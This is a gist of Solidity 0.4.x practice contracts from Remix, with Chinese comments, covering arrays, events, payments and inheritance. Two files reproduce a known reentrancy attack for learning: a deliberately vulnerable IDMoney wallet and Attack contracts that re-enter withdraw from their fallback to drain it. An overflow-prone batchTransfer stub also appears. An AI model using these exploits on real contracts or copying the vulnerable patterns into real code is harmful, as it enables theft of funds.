Created
January 3, 2019 11:30
-
-
Save code-brewer/ed30c4012871320a00e4547852766b70 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.5.2+commit.1df8f40c.js&optimize=false&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
/*数组类型Demo*/ | |
contract DemoTypes303 { | |
/*String数组例子*/ | |
string[] strArr; | |
function add(string str) public { | |
strArr.push(str); | |
} | |
function getStrAt(uint n) public constant returns (string s){ | |
string storage tmp = strArr[n]; | |
return tmp; | |
} | |
function updateStrAt(uint n, string str) public { | |
strArr[n] = str; | |
} | |
function deleteStrAt(uint index) public { | |
uint len = strArr.length; | |
if (index >= len) return; | |
for (uint i = index; i<len-1; i++) { | |
strArr[i] = strArr[i+1]; | |
} | |
delete strArr[len-1]; | |
strArr.length--; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract Demo{ | |
uint public value1 = 0; | |
uint public value2 = 0; | |
function A(uint v) public returns(uint){ | |
value1 += v; | |
return value1; | |
} | |
function B(uint v) public{ | |
value2 += A(v); | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.19; | |
contract BytesOrStrings { | |
string constant _string = "cryptopus.co Medium"; | |
bytes32 constant _bytes = "cryptopus.co Medium"; | |
function getAsString() public pure returns(string) { | |
return _string; | |
} | |
function getAsBytes() public pure returns(bytes32) { | |
return _bytes; | |
} | |
} | |
contract BytesOrStringsOverSize { | |
string constant _string = "cryptopus.co Medium! abcdefghjklmnopqrstuvwsyz"; | |
//bellow line raise error: TypeError: Type literal_string "cryptopus.co Medium! abcdefghjklmnopqrstuvwsyz" is not implicitly convertible to expected type bytes32. | |
// bytes32 constant _bytes = "cryptopus.co Medium! abcdefghjklmnopqrstuvwsyz"; | |
bytes32 constant _bytes = "crypt"; | |
function getAsString() public pure returns(string) { | |
return _string; | |
} | |
function getAsBytes() public pure returns(bytes32) { | |
return _bytes; | |
} | |
} | |
import "github.com/Arachnid/solidity-stringutils/strings.sol"; | |
contract StringTest{ | |
using strings for *; | |
function concat() public pure returns(string) { | |
return "abc".toSlice().concat("def".toSlice()); | |
} | |
function concat2() public returns(string) { | |
return "123".toSlice().concat("456".toSlice()); | |
} | |
} | |
contract BytesTest{ | |
bytes public bs; | |
function push(byte b) public { //GOOGLE: solidity remix pass byte value to function | |
// function push(char b) public { // WYH: No such char type ! | |
bs.push(b); | |
} | |
function getAsString() public view returns(uint, string) { | |
return (bs.length, string(bs)); | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
contract stringOpTest { | |
byte[] bs; | |
function convertingToString()public returns(string){ | |
// bytes32 memory hw = "Hello World"; // TypeError: Storage location can only be given for array or struct types. | |
bytes32 hw = "Hello World"; // | |
// string memory converted = string(hw); // TypeError: Explicit type conversion not allowed from "bytes32" to "string storage pointer". | |
bytes memory bytesArray = new bytes(32); | |
for (uint256 i=0; i < 32; i++) { | |
bytesArray[i] = hw[i]; | |
} | |
string memory converted = string(bytesArray); | |
return converted; | |
} | |
function byteAppend(byte b) { | |
// bs.append ?? | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract CA{ | |
uint public p; | |
event e(address add,uint p); | |
function fun(uint u1,uint u2)public{ | |
p = u1 + u2; | |
emit e(msg.sender,p); | |
} | |
} | |
contract CB{ | |
uint public q; | |
bool public b; | |
function CB() public payable { | |
} | |
function call1(address add)public returns(bool) { | |
b = add.call(bytes4(keccak256("fun(uint256,uint256)")),2,3); | |
return b; | |
} | |
function call2(address add)public returns(bool){ | |
b = add.delegatecall(bytes4(keccak256("fun(uint256,uint256)")),1,2); | |
return b; | |
} | |
function sendDemo(address add) public{ | |
uint u = 1 ether; | |
add.transfer(u); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.2; | |
contract parent{ | |
string public name; | |
event ConstrutEvt(string flag, string _name ); | |
function parent(string _name) public{ | |
name=_name; | |
emit ConstrutEvt("parent::ctor", _name); | |
} | |
} | |
contract child is parent{ | |
function child(string _name) { | |
name=_name; | |
emit ConstrutEvt("child::ctor", _name); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.9; | |
contract Rejector { | |
event ConstrutEvt(string flag, address sender ); | |
event FallbackEvt(string flag, address sender, uint aWei ); | |
constructor() public { | |
emit ConstrutEvt("Rejector::", msg.sender ); | |
} | |
function() public { | |
emit FallbackEvt("Rejector::", msg.sender, msg.value ); | |
throw; | |
} | |
} | |
contract RejectEther is Rejector{ | |
event ConstrutEvt(string flag, address sender ); | |
constructor() public { | |
emit ConstrutEvt("RejectEther", msg.sender ); | |
} | |
} | |
contract AcceptEther{ | |
address owner = msg.sender; | |
event ConstrutEvt(string flag, address sender, uint aWei ); | |
event FallbackEvt(string flag, address sender, uint aWei ); | |
event LogValue(string flag, address sender, uint aWei ); | |
function() public payable { | |
emit FallbackEvt("AcceptEther::", msg.sender, msg.value ); | |
} | |
constructor() public payable { | |
emit ConstrutEvt("AcceptEther", msg.sender, msg.value ); | |
} | |
//得到当前合约的余额 | |
function getBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
//向当前合约存款 | |
function deposit() public payable returns(address addr, uint amount){ | |
//msg.sender 全局变量,调用合约的发起方 | |
//msg.value 全局变量,调用合约的发起方转发的货币量,以wei为单位。 | |
//send() 执行的结果 | |
emit LogValue("AcceptEther", msg.sender, msg.value ); | |
address(this).transfer(msg.value); | |
return (msg.sender, msg.value ); | |
} | |
function kill() public { //self-destruct function, | |
if(msg.sender == owner) { | |
selfdestruct(owner); | |
} | |
} | |
} | |
contract etherSender{ | |
function send_1(address receiver) public { | |
receiver.send(2 ether); | |
} | |
function send_2(address receiver) public { | |
receiver.send(2 ether); | |
} | |
} | |
contract AcceptEtherWithoutFallback{ | |
address owner = msg.sender; | |
event ConstrutEvt(string flag, address sender, uint aWei ); | |
event FallbackEvt(string flag, address sender, uint aWei ); | |
event LogValue(string flag, address sender, uint aWei ); | |
// function() public payable { | |
// emit FallbackEvt("AcceptEther::", msg.sender, msg.value ); | |
// } | |
constructor() public payable { | |
emit ConstrutEvt("AcceptEther", msg.sender, msg.value ); | |
} | |
//得到当前合约的余额 | |
function getBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
//向当前合约存款 | |
function deposit() public payable returns(address addr, uint amount){ | |
//msg.sender 全局变量,调用合约的发起方 | |
//msg.value 全局变量,调用合约的发起方转发的货币量,以wei为单位。 | |
//send() 执行的结果 | |
emit LogValue("AcceptEther", msg.sender, msg.value ); | |
address(this).transfer(msg.value); | |
return (msg.sender, msg.value ); | |
} | |
function kill() public { //self-destruct function, | |
if(msg.sender == owner) { | |
selfdestruct(owner); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract EventFilterTest { | |
constructor() public { | |
b = 0x12345678901234567890123456789012; | |
} | |
event Event(uint indexed a, bytes32 b) ; | |
event Event2(uint indexed a, bytes32 b) ; | |
function foo(uint a) public { | |
b = bytes32(1); | |
emit Event(a, b); | |
emit Event2(a, b); | |
} | |
bytes32 b; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract SimpleStorage { | |
uint public data; | |
// event SetX(address indexed _from, uint value); | |
event Set(string label, uint value); | |
function set(uint x) public { | |
data = x; | |
// emit SetX(msg.sender, x); | |
// emit Set("#####", x); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.0; | |
contract MathTest { | |
uint256 public price = 2 ether; | |
uint256 public quantity = 2**200; | |
function addTest() external pure returns(uint256, uint256, uint256) { | |
uint256 u; // range: [0, 2**256) | |
u = 2**256 - 1; | |
assert(u + 1 == 0); | |
return (u, u+1, u+2); | |
} | |
// DO NOT USE! | |
function batchTransfer(address[] receivers, uint256 value) public pure { | |
uint256 amount = receivers.length * value; | |
// 如果用户构造的receivers.length 乘以 value 刚好为 0 ,那么就有问题了! | |
} | |
function buy() public payable returns(bool, uint256) { | |
uint256 weiAmount = msg.value; //WYH: input fund will be convert to amount in wei uint! | |
require(msg.value >= 2 ether, "value must greater than 2 ether"); | |
return (true, weiAmount); | |
} | |
function tranfsLimitFund() public payable returns(bool, uint256) { | |
uint256 weiAmount = msg.value; //WYH: input fund will be convert to amount in wei uint! | |
require(msg.value <= 2 ether, "value must no more than 2 ether"); | |
return (true, weiAmount); | |
} //测试结果: require或者assert失败时, msg.value会原路退回---也就是合约方法的调用者账户中的钱不会丢失! | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
contract C { | |
uint[] data1; | |
uint[] data2; | |
function appendOne() public { | |
append(data1); | |
} | |
function appendTwo() public { | |
append(data2); | |
} | |
function append(uint[] storage d) internal { | |
d.push(1); | |
} | |
function getData1() view public returns(uint[]){ | |
return data1; | |
} | |
function getData2() view public returns(uint[]){ | |
return data2; | |
} | |
} | |
contract C2 { | |
uint public someVariable ; | |
uint[] public data; | |
function f() public { | |
uint[] x; | |
x.push(2); | |
data = x; | |
} | |
} | |
contract ConstantTest{ | |
uint constant var1=now; | |
uint var2=now; | |
function checkConstant() returns(uint,uint){ | |
return (var1,var2); | |
} | |
function getVar1() returns(uint){ return var1;} | |
function getVar2() returns(uint){ return var2;} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
import "github.com/Arachnid/solidity-stringutils/strings.sol"; | |
contract A{ | |
using strings for *; | |
string public flags ; | |
string myName; | |
address public owner; | |
string callResult ="R:"; | |
event Ret(string flag, address sender, address owner); | |
event ConstrutEvt(string flag, address owner ); | |
function A() public{ | |
owner = msg.sender; | |
emit ConstrutEvt("A", msg.sender); | |
} | |
function setMyName(string name) public { | |
myName = name; | |
} | |
function doSomething() public view returns(string flag, address sender, address owner){ | |
// does something | |
// callResult = callResult + "A::doSomething()"; | |
// string old = flags; | |
flags = flags.toSlice().concat("A::doSomething()".toSlice()); | |
emit Ret("A::doSomething", msg.sender, owner); | |
return ("A::doSomething", msg.sender, owner); | |
} | |
} | |
contract B is A{ | |
// using strings for *; | |
address public Bsender; | |
function doSomething() public view returns(string flag, address sender, address owner){ | |
// require(msg.sender == owner); | |
Bsender = msg.sender; | |
// do something like A but restrict this function execution to owner | |
super.doSomething(); | |
flags = flags.toSlice().concat("B::doSomething()".toSlice()); | |
emit Ret("B::doSomething", msg.sender, owner); | |
return ("B::doSomething", msg.sender, owner); | |
} // Got result: 'A::doSomething()B::doSomething()' | |
function getMyName() public view returns(string name) { | |
return myName; | |
} | |
} | |
contract EvilDoer{ | |
address owner; | |
constructor() public payable { | |
owner = msg.sender; | |
} | |
function doSomethingEvil(address addressOfdeployedB) public { | |
A contractA = A(addressOfdeployedB); | |
A contractB = new B(); | |
contractB.doSomething(); | |
} | |
function doSomethingEvil2(address addressOfdeployedB) public { | |
A contractB = A(addressOfdeployedB); | |
contractB.doSomething(); | |
contractB.setMyName("___xxx___"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
contract A{ | |
address public owner; | |
function A() public{ | |
owner = msg.sender; | |
} | |
function doSomething() public{ | |
// does something | |
} | |
} | |
contract B is A{ | |
function doSomething() public{ | |
// require(msg.sender == owner); | |
// do something like A but restrict this function execution to owner | |
super.doSomething(); | |
} | |
} | |
contract EvilDoer{ | |
address owner; | |
constructor() public payable { | |
owner = msg.sender; | |
} | |
function doSomethingEvil(address addressOfdeployedB) public { | |
A contractB = new B(); | |
contractB.doSomething(); | |
} | |
function doSomethingEvil2(address addressOfdeployedB) public { | |
A contractB = A(addressOfdeployedB); | |
contractB.doSomething(); //Why Failed? Error message is: 'The constructor should be payable if you send value.' | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
contract A{ | |
address public owner; | |
event Ret(string flag, address sender, address owner); | |
event ConstrutEvt(string flag, address owner ); | |
function A() public{ | |
owner = msg.sender; | |
emit ConstrutEvt("A", msg.sender); | |
} | |
function doSomething() public view returns(string flag, address sender, address owner){ | |
emit Ret("A::doSomething", msg.sender, owner); | |
return ("A::doSomething", msg.sender, owner); | |
} | |
} | |
contract EvilDoer{ | |
function doSomethingEvil(address instanceAddrOfA) public { | |
A contractA = A(instanceAddrOfA); | |
//call this way, 'owner' value print inside the doSomething() is zero, why ? | |
contractA.doSomething(); | |
// But if invoke doSomething() direct from remix IDE run tab, it showthat 'owner' has non-zero value if watch from addressOfdeployedB's view. | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
contract A{ | |
address public owner; | |
event Ret(string flag, address sender, address owner); | |
event ConstrutEvt(string flag, address owner ); | |
function A() public{ | |
owner = msg.sender; | |
emit ConstrutEvt("A", msg.sender); | |
} | |
function doSomething() public returns(string, address, address _owner){ | |
emit Ret("A::doSomething", msg.sender, owner); | |
return ("A::doSomething", msg.sender, owner); | |
} | |
} | |
contract EvilDoer{ | |
function doSomethingEvil(address instanceAddrOfA) public { | |
A contractA = A(instanceAddrOfA); | |
//call this way, 'owner' value print inside the doSomething() is zero, why ? | |
contractA.doSomething(); | |
// But if invoke doSomething() direct from remix IDE run tab, it showthat 'owner' has non-zero value if watch from addressOfdeployedB's view. | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
contract A{ | |
string myName; | |
address public owner; | |
event Ret(string flag, address sender, address owner); | |
event ConstrutEvt(string flag, address owner ); | |
function A() public{ | |
owner = msg.sender; | |
emit ConstrutEvt("A", msg.sender); | |
} | |
function setMyName(string name) public { | |
myName = name; | |
} | |
function doSomething() public view returns(string flag, address sender, address owner){ | |
// does something | |
emit Ret("A::doSomething", msg.sender, owner); | |
return ("A::doSomething", msg.sender, owner); | |
} | |
} | |
contract B is A{ | |
address public Bsender; | |
function doSomething() public view returns(string flag, address sender, address owner){ | |
Bsender = msg.sender; | |
// do something like A but restrict this function execution to owner | |
super.doSomething(); | |
emit Ret("B::doSomething", msg.sender, owner); | |
return ("B::doSomething", msg.sender, owner); | |
} | |
function getMyName() public view returns(string name) { | |
return myName; | |
} | |
} | |
contract EvilDoer{ | |
address owner; | |
constructor() public payable { | |
owner = msg.sender; | |
} | |
function doSomethingEvilA(address addressOfdeployedB) public { | |
A contractA = A(addressOfdeployedB); | |
contractA.doSomething(); | |
contractA.setMyName("___xxx___"); | |
} | |
function doSomethingEvilB(address addressOfdeployedB) public { | |
B contractB = B(addressOfdeployedB); | |
contractB.doSomething(); //call this way, 'owner' value print inside the doSomething() Log is zero, why ? | |
// i can see that 'owner' has non-zero value if watch from addressOfdeployedB's view. | |
contractB.setMyName("___xxx___"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.0; | |
//请注意这个仅是Demo,请不要用到正式环境 | |
contract PayTest { | |
function() public payable {} | |
//得到当前合约的余额 | |
function getBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
//向当前合约存款 | |
function deposit() payable public returns(address addr, uint amount){ | |
//msg.sender 全局变量,调用合约的发起方 | |
//msg.value 全局变量,调用合约的发起方转发的货币量,以wei为单位。 | |
//send() 执行的结果 | |
address(this).transfer(msg.value); | |
return (msg.sender, msg.value ); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract Rejector { | |
bool public reject = false; | |
event DefaultCalledEvt(string flag, address owner); | |
function setRejectAble(bool _reject) public { | |
reject = _reject; | |
} | |
function() payable public{ | |
emit DefaultCalledEvt("Rejector::", this); | |
// if(reject) { | |
throw; | |
// } | |
} | |
} | |
contract counterReject is Rejector { | |
address public owner; | |
modifier ownerOnly { require(owner == msg.sender); _; } | |
constructor() public payable { owner = msg.sender; } | |
//得到当前合约的余额 | |
function getMyBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
} | |
contract counterAccept { | |
address public owner; | |
modifier ownerOnly { require(owner == msg.sender); _; } | |
constructor() public payable { owner = msg.sender; } | |
//得到当前合约的余额 | |
function getMyBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
function() payable public{ } | |
} | |
// GOOGLE: solidity address send example; | |
contract CounterTest | |
{ address public owner; | |
event CallResult(string flag, address, bool _result); | |
modifier ownerOnly { require(owner == msg.sender); _; } | |
constructor() public payable { owner = msg.sender; } | |
// 结论: | |
// 同样是往一个counterReject合约转账, | |
// 1)address(counterReject).send(msg.value);执行的结果是: 钱从普通钱包转到了 CounterTest 合约钱包 | |
// 1)address(counterReject).transfer(msg.value);执行的结果是: 钱被回退到普通钱包中! | |
function sendTo(address _to) public payable { | |
bool ret = address(_to).send(msg.value); | |
emit CallResult("sendto: ", _to, ret); | |
} | |
function transferTo(address _to) public payable { | |
address(_to).transfer(msg.value); | |
emit CallResult("transferTo: ", _to, true); | |
} | |
//得到当前合约的余额 | |
function getMyBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.10; | |
//Ref: http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/ | |
contract IDMoney { | |
address owner; | |
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况 | |
event withdrawLog(address, uint256); | |
function IDMoney() { owner = msg.sender; } | |
function deposit() payable { balances[msg.sender] += msg.value; } | |
function withdraw(address to, uint256 amount) { | |
require(balances[msg.sender] > amount); | |
require(this.balance > amount); | |
withdrawLog(to, amount); // 打印日志,方便观察 reentrancy | |
to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部 | |
balances[msg.sender] -= amount; | |
} | |
function balanceOf() returns (uint256) { return balances[msg.sender]; } | |
function balanceOf(address addr) returns (uint256) { return balances[addr]; } | |
} | |
contract Attack { | |
address owner; | |
address victim; | |
modifier ownerOnly { require(owner == msg.sender); _; } | |
function Attack() payable { owner = msg.sender; } | |
// 设置已部署的 IDMoney 合约实例地址 | |
function setVictim(address target) ownerOnly { victim = target; } | |
// deposit Ether to IDMoney deployed | |
function step1(uint256 amount) ownerOnly payable { | |
if (this.balance > amount) { | |
victim.call.value(amount)(bytes4(keccak256("deposit()"))); | |
} | |
} | |
// withdraw Ether from IDMoney deployed | |
function step2(uint256 amount) ownerOnly { | |
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); | |
} | |
// selfdestruct, send all balance to owner | |
function stopAttack() ownerOnly { | |
selfdestruct(owner); | |
} | |
function startAttack(uint256 amount) ownerOnly { | |
step1(amount); | |
step2(amount / 2); | |
} | |
function () payable { | |
if (msg.sender == victim) { | |
// 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币 | |
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.10; | |
contract IDMoney{ | |
address public _owner; | |
mapping (address => uint256) public balances; | |
event LogDeposit(string flag, address _addr, uint256 _val); | |
event LogWithdraw(string flag, address _addr, uint256 _remain); | |
constructor() payable public { | |
_owner = msg.sender; //构造函数中的msg.sender只能是创建者 | |
} | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
emit LogDeposit("IDMoney", msg.sender, msg.value); | |
} | |
function withdraw(address to, uint256 amount) public payable { | |
emit LogWithdraw("IDMoney", msg.sender, balances[msg.sender]); | |
require(balances[msg.sender] >= amount); //公共钱包中调用者的余额是否足够 | |
require(address(this).balance >= amount); //该合约资产是否足够 | |
//WYH: blog's version is wrong! No need to convert uint! | |
// to.call.value(amount*10**18)(); //此处amount单位是wei,这里我换算成ether | |
// balances[msg.sender] -= amount*10**18; | |
// 转账必须用 to.call.value(amount)(); 而不能用 send 或者 transfer ! | |
to.call.value(amount)(); //WYH: must use call.value()() if want to reproduce RetrenceAttack! Should not replace wwith transfer()! | |
balances[msg.sender] -= amount; | |
} | |
function balanceof(address to) public constant returns(uint256){ | |
return balances[to]; | |
} | |
//得到当前合约的余额 | |
function getMyBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
// selfdestruct, send all balance to owner | |
function kill() public { | |
selfdestruct(_owner); | |
} | |
} | |
contract Attack { | |
address public owner; | |
address public victim; | |
// IDMoney attackTarget; | |
event LogFallback(string flag, address _addr, uint256 _val); | |
event LogCall(string flag, address _addr, uint256 _val); | |
event LogStartAttack(string flag, address _addr, uint256 _val); | |
modifier ownerOnly { require(owner == msg.sender); _; } | |
constructor() public payable { owner = msg.sender; } | |
// 设置已部署的 IDMoney 合约实例地址 | |
function setVictim(address target) public ownerOnly { victim = target; } | |
// deposit Ether to IDMoney deployed | |
function step1(uint256 amount) public ownerOnly payable { | |
emit LogCall("-->IDMoney::deposit", msg.sender, amount); | |
if (address(this).balance > amount) { | |
emit LogCall("-->IDMoney::deposit2", msg.sender, amount); | |
victim.call.value(amount)(bytes4(keccak256("deposit()"))); | |
// IDMoney(victim).deposit(); | |
} | |
} | |
// withdraw Ether from IDMoney deployed | |
function step2(uint256 amount) public ownerOnly { | |
emit LogCall("-->IDMoney::withdraw", this, amount); | |
// rang让withdraw()ba把qian把钱zhuan把钱转到参数2(this)指定的账户中 | |
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); | |
// IDMoney(victim).withdraw(this, amount); | |
} | |
// selfdestruct, send all balance to owner | |
function stopAttack() public ownerOnly { | |
selfdestruct(owner); | |
} | |
function startAttack(uint256 amount) public ownerOnly { | |
emit LogStartAttack("Attack", 0x0, amount); | |
step1(amount); | |
step2(amount / 2); | |
} | |
function () public payable { | |
emit LogFallback("Attack", msg.sender, msg.value); | |
if (msg.sender == victim) { | |
emit LogFallback("Attack--B", msg.sender, msg.value); | |
// 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币 | |
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); | |
// IDMoney(victim).withdraw(this, msg.value); | |
} | |
} | |
function deposit() public payable { | |
emit LogCall("-->Attack::deposit", msg.sender, msg.value); | |
address(this).transfer(msg.value); | |
} | |
//得到当前合约的余额 | |
function getMyBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
} | |
contract AttackT { | |
address public owner; | |
address public victim; | |
// IDMoney attackTarget; | |
event LogFallback(string flag, address _addr, uint256 _val); | |
event LogCall(string flag, address _addr, uint256 _val); | |
event LogStartAttack(string flag, address _addr, uint256 _val); | |
modifier ownerOnly { require(owner == msg.sender); _; } | |
constructor() public payable { owner = msg.sender; } | |
// selfdestruct, send all balance to owner | |
function kill() public ownerOnly { | |
selfdestruct(owner); | |
} | |
function () public payable { | |
emit LogFallback("Attack", msg.sender, msg.value); | |
} | |
function deposit() public payable { | |
emit LogCall("-->Attack::deposit", msg.sender, msg.value); | |
address(this).transfer(msg.value); | |
} | |
//得到当前合约的余额 | |
function getMyBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
} | |
contract AttackOri { | |
address owner; | |
address victim; | |
modifier ownerOnly { require(owner == msg.sender); _; } | |
function AttackOri() payable { owner = msg.sender; } | |
// 设置已部署的 IDMoney 合约实例地址 | |
function setVictim(address target) ownerOnly { victim = target; } | |
// deposit Ether to IDMoney deployed | |
function step1(uint256 amount) ownerOnly payable { | |
if (this.balance > amount) { | |
victim.call.value(amount)(bytes4(keccak256("deposit()"))); | |
} | |
} | |
// withdraw Ether from IDMoney deployed | |
function step2(uint256 amount) ownerOnly { | |
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); | |
} | |
// selfdestruct, send all balance to owner | |
function stopAttack() ownerOnly { | |
selfdestruct(owner); | |
} | |
function startAttack(uint256 amount) ownerOnly { | |
step1(amount); | |
step2(amount / 2); | |
} | |
function () payable { | |
if (msg.sender == victim) { | |
// 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币 | |
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); | |
} | |
} | |
function deposit() public payable { | |
address(this).transfer(msg.value); | |
} | |
//得到当前合约的余额 | |
function getMyBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.25; | |
contract InfoFeed { | |
address owner; | |
constructor(){ | |
owner = msg.sender; | |
} | |
function info() returns (uint ret) { return 42; } | |
function getBalance() public returns (uint) { | |
return this.balance; | |
} | |
function kill() public { | |
if (owner == msg.sender) { // 检查谁在调用 | |
selfdestruct(owner); // 销毁合约 | |
} | |
} | |
} | |
contract Consumer { | |
InfoFeed public feed; // points to contract on blockchain | |
constructor() { | |
// 会触发构造函数! | |
feed = new InfoFeed(); // new instance created; constructor called | |
} | |
function getBalance() public returns (uint) { | |
return this.balance; | |
} | |
function doTransfer(uint val) { | |
address(this).transfer(10); | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract EthToContract { | |
uint256 public counter = 5; //state variable we assigned earlier | |
address public owner = msg.sender; //set owner as msg.sender | |
function add() public { //increases counter by 1 | |
counter++; | |
} | |
function subtract() public { //decreases counter by 1 | |
counter--; | |
} | |
function getCounter() public constant returns (uint256) { | |
return counter; | |
} | |
function kill() public { //self-destruct function, | |
if(msg.sender == owner) { | |
selfdestruct(owner); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.17; | |
contract SimpleStorage { | |
uint myVariable; | |
event Deposit(address indexed _from, address indexed _to, uint value); | |
event Set(address indexed from, uint value); | |
function set(uint x) public { | |
myVariable = x; | |
emit Set(msg.sender, x); | |
} | |
function get() constant public returns (uint) { | |
return myVariable; | |
} | |
// 向别的地址存款: | |
function depositTo(address to) public { | |
emit Deposit(msg.sender, to, msg.value); | |
// ... | |
} | |
function() public payable { | |
} | |
//得到当前合约的余额 | |
function getBalance() public view returns (uint) { | |
return address(this).balance;//0 | |
} | |
//向当前合约存款 | |
function deposit() payable public returns(address addr, uint amount){ | |
//msg.sender 全局变量,调用合约的发起方 | |
//msg.value 全局变量,调用合约的发起方转发的货币量,以wei为单位。 | |
//send() 执行的结果 | |
emit Deposit(msg.sender, address(this), msg.value); | |
address(this).transfer(msg.value); | |
return (msg.sender, msg.value ); | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
contract helloworld { | |
function say() public pure returns (string) { | |
return 'hello etherworld'; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract Rejector { | |
// function() { throw; } | |
} | |
contract Counter is Rejector | |
{ | |
uint public count = 10; | |
event DefaultCalledEvt(string flag, address owner); | |
function inc(uint num) public returns(uint) { | |
return count += num; | |
} | |
function() private { //WYH: ? should i make it public visible ? | |
emit DefaultCalledEvt("Counter::", this); | |
} | |
} | |
contract Counter_WithException | |
{ | |
uint public count = 10; | |
